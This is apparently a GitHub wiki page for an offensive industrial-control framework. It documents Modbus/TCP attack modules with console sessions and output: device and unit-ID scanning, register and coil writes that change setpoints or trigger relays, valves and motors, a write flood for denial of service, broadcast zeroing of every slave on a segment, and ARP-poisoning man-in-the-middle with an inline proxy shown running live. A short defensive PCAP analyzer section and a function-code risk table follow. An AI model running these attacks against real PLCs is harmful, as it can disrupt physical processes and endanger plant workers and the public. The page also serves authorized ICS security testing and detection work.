Skip to content

Modbus Attacks

André Henrique edited this page Jun 8, 2026 · 1 revision

Modbus Attacks

All modules default to simulate=True. Live execution requires explicit opt-in. Authorized lab use only.

This page documents Modbus/TCP attack and assessment modules available in IndustrialXPL-Forge.


Table of Contents


Reconnaissance

modbus_detect

Identifies Modbus/TCP devices and reads device identification via FC43.

ixf > use scanners/ics/modbus_detect
ixf (ModbusDetect) > set TARGET 192.168.1.100
ixf (ModbusDetect) > set PORT 502
ixf (ModbusDetect) > check

[*] Connecting to 192.168.1.100:502
[+] Modbus/TCP device detected
[+] FC43 Device ID: Vendor=Siemens, Model=S7-1200, FW=4.5.0
[+] Unit IDs responding: 1

modbus_unit_scan

Enumerates responding Unit IDs (slave addresses 1-247) on a Modbus/TCP gateway.

ixf > use scanners/ics/modbus_unit_scan
ixf (ModbusUnitScan) > set TARGET 192.168.1.100
ixf (ModbusUnitScan) > set PORT 502
ixf (ModbusUnitScan) > run

[*] Scanning Unit IDs 1-247 on 192.168.1.100:502
[+] Unit ID  1: RESPONDING (FC1 - coil read)
[+] Unit ID  3: RESPONDING (FC1 - coil read)
[+] Unit ID 10: RESPONDING (FC1 - coil read)
[-] Unit IDs 2,4-9,11-247: no response
[+] Found 3 active unit IDs

Register Read and Write

modbus_read_holding

Reads holding registers (FC3) from a Modbus device.

ixf > use assessment/protocols/modbus_read_holding
ixf (ModbusRead) > set TARGET 192.168.1.10
ixf (ModbusRead) > set UNIT_ID 1
ixf (ModbusRead) > set START_REG 0
ixf (ModbusRead) > set COUNT 20
ixf (ModbusRead) > run

[*] FC3 ReadHoldingRegisters: 192.168.1.10:502 unit=1 addr=0 count=20
[+] Register values (decimal):
    0: 1234    1: 0      2: 5678   3: 255    4: 0
    5: 100     6: 200    7: 0      8: 4096   9: 0
   10: 9999   11: 0     12: 1     13: 0     14: 512
   15: 0      16: 3200  17: 0     18: 7     19: 0

modbus_write_single_register

Writes a single holding register (FC6) - requires explicit confirmation.

ixf > use exploits/protocols/modbus_write_register
ixf (ModbusWriteReg) > set TARGET 192.168.1.10
ixf (ModbusWriteReg) > set UNIT_ID 1
ixf (ModbusWriteReg) > set REGISTER 100
ixf (ModbusWriteReg) > set VALUE 9999
ixf (ModbusWriteReg) > set simulate true
ixf (ModbusWriteReg) > run

[SIMULATE] FC6 WriteSingleRegister: 192.168.1.10:502 unit=1 reg=100 value=9999
[SIMULATE] This would overwrite process setpoint or control parameter
[!] Impact: MEDIUM - potential process disruption
[!] Set simulate=false + destructive=true to execute live

modbus_write_multiple_registers

Writes a block of holding registers (FC16).

ixf > use exploits/protocols/modbus_write_multiple_registers
ixf (ModbusWriteMultiple) > set TARGET 192.168.1.10
ixf (ModbusWriteMultiple) > set UNIT_ID 1
ixf (ModbusWriteMultiple) > set START_REG 0
ixf (ModbusWriteMultiple) > set VALUES 0,0,0,0,0
ixf (ModbusWriteMultiple) > set simulate true
ixf (ModbusWriteMultiple) > run

[SIMULATE] FC16 WriteMultipleRegisters: 192.168.1.10:502 unit=1 start=0 count=5
[SIMULATE] Values: [0, 0, 0, 0, 0]
[SIMULATE] Zeroing 5 registers starting at address 0
[!] Impact: HIGH - zeroing control parameters disrupts process

Process Disruption

modbus_register_flood

Floods a Modbus device with high-frequency write requests to cause DoS or process instability.

ixf > use exploits/protocols/modbus_register_flood
ixf (ModbusFlood) > set TARGET 192.168.1.10
ixf (ModbusFlood) > set PORT 502
ixf (ModbusFlood) > set COUNT 1000
ixf (ModbusFlood) > set RATE 100
ixf (ModbusFlood) > set simulate true
ixf (ModbusFlood) > run

[SIMULATE] Modbus TCP flood: 192.168.1.10:502
[SIMULATE] 1000 FC16 requests at 100 req/sec
[SIMULATE] Estimated duration: 10 seconds
[SIMULATE] Target register: 0, value: 0
[!] Impact: HIGH - potential PLC CPU overload or watchdog reset

Coil Manipulation

modbus_write_coil

Writes a single coil (digital output) via FC5.

ixf > use exploits/protocols/modbus_write_coil
ixf (ModbusCoil) > set TARGET 192.168.1.10
ixf (ModbusCoil) > set COIL 1
ixf (ModbusCoil) > set VALUE true
ixf (ModbusCoil) > set simulate true
ixf (ModbusCoil) > run

[SIMULATE] FC5 WriteSingleCoil: 192.168.1.10:502 unit=1 coil=1 value=ON
[SIMULATE] This would activate digital output coil 1
[SIMULATE] Possible effect: relay activation, valve open/close, motor start/stop
[!] Impact: HIGH - direct physical process effect

Broadcast Attacks

modbus_broadcast_write

Sends FC16 write to Unit ID 255 (Modbus broadcast address) targeting all devices on the segment.

ixf > use exploits/protocols/modbus_broadcast_write
ixf (ModbusBroadcast) > set TARGET 192.168.1.10
ixf (ModbusBroadcast) > set START_REG 0
ixf (ModbusBroadcast) > set VALUES 0,0,0,0,0,0,0,0,0,0
ixf (ModbusBroadcast) > set simulate true
ixf (ModbusBroadcast) > run

[SIMULATE] FC16 broadcast write: unit_id=255 (ALL DEVICES)
[SIMULATE] Zeroing 10 registers starting at address 0 on ALL slaves
[!] Impact: CRITICAL - affects every Modbus slave on the segment
[!] Triple gate required for live execution

MiTM - Inline Proxy

See also: Assessment-and-Compliance#modbus-mitm

modbus_arp_mitm

Performs ARP poisoning to position the attacker between HMI and PLC.

ixf > use assessment/lateral/modbus_arp_mitm
ixf (ModbusARPMiTM) > set GATEWAY 192.168.1.1
ixf (ModbusARPMiTM) > set TARGET_HMI 192.168.1.50
ixf (ModbusARPMiTM) > set TARGET_PLC 192.168.1.10
ixf (ModbusARPMiTM) > set simulate true
ixf (ModbusARPMiTM) > run

[SIMULATE] ARP Poison: HMI 192.168.1.50 -> attacker MAC for PLC 192.168.1.10
[SIMULATE] ARP Poison: PLC 192.168.1.10 -> attacker MAC for HMI 192.168.1.50
[SIMULATE] Would enable inline packet interception
[!] Run modbus_mitm_inline after this to intercept/modify traffic

modbus_mitm_inline

Inline TCP proxy that intercepts Modbus sessions and optionally injects modified values.

ixf > use assessment/lateral/modbus_mitm_inline
ixf (ModbusMiTM) > set TARGET 192.168.1.10
ixf (ModbusMiTM) > set LISTEN_HOST 0.0.0.0
ixf (ModbusMiTM) > set LISTEN_PORT 1502
ixf (ModbusMiTM) > set simulate false
ixf (ModbusMiTM) > run

[*] Modbus MiTM proxy started on 0.0.0.0:1502
[*] Forwarding to 192.168.1.10:502
[+] Client connected: 192.168.1.50
[>] FC3 ReadHoldingRegs addr=0 count=10 -> PLC
[<] Response: 10 registers [0x0001, 0x00F2, 0x0000, ...]
[>] FC16 WriteRegs addr=100 data=[0x03E8] -> PLC  [LOGGED]

PCAP Analysis (Defensive)

modbus_pcap_analyzer

Analyzes captured Modbus/TCP traffic for unauthorized writes and reconnaissance operations.

ixf > use assessment/detection/modbus_pcap_analyzer
ixf (ModbusPCAP) > set PCAP_FILE /tmp/modbus_capture.pcap
ixf (ModbusPCAP) > set OUTPUT_JSON /tmp/analysis.json
ixf (ModbusPCAP) > run

[*] Analyzing Modbus PCAP: /tmp/modbus_capture.pcap
[+] Parsed 847 Modbus transactions

Summary:
  Total transactions:       847
  Unique source IPs:        3
  Write operations:         12
  DANGEROUS operations:     4  <- FC5/6/15/16
  Recon operations:         2  <- FC43/FC17

[!] ALERT: 4 DANGEROUS Modbus write operations detected

Source       Destination  FC   Name                   Reg   Flag
10.0.1.100   10.0.1.10   16   Write Multiple Regs    100   [DANGEROUS]
10.0.1.100   10.0.1.10   5    Write Single Coil      1     [DANGEROUS]
10.0.1.200   10.0.1.10   43   Read Device ID         -     [RECON]

[+] JSON report saved: /tmp/analysis.json
[*] Tip: capture with: tcpdump -w capture.pcap 'tcp port 502'

Modbus Function Code Reference

FC Name Category Risk
1 Read Coils Read Low
2 Read Discrete Inputs Read Low
3 Read Holding Registers Read Low
4 Read Input Registers Read Low
5 Write Single Coil Write HIGH
6 Write Single Register Write HIGH
15 Write Multiple Coils Write HIGH
16 Write Multiple Registers Write HIGH
17 Report Server ID Recon Medium
43 Read Device Identification Recon Medium
255 Broadcast Unit ID Write CRITICAL

Author: Andre Henrique (@mrhenrike) | Uniao Geek | https://uniaogeek.com.br/

Clone this wiki locally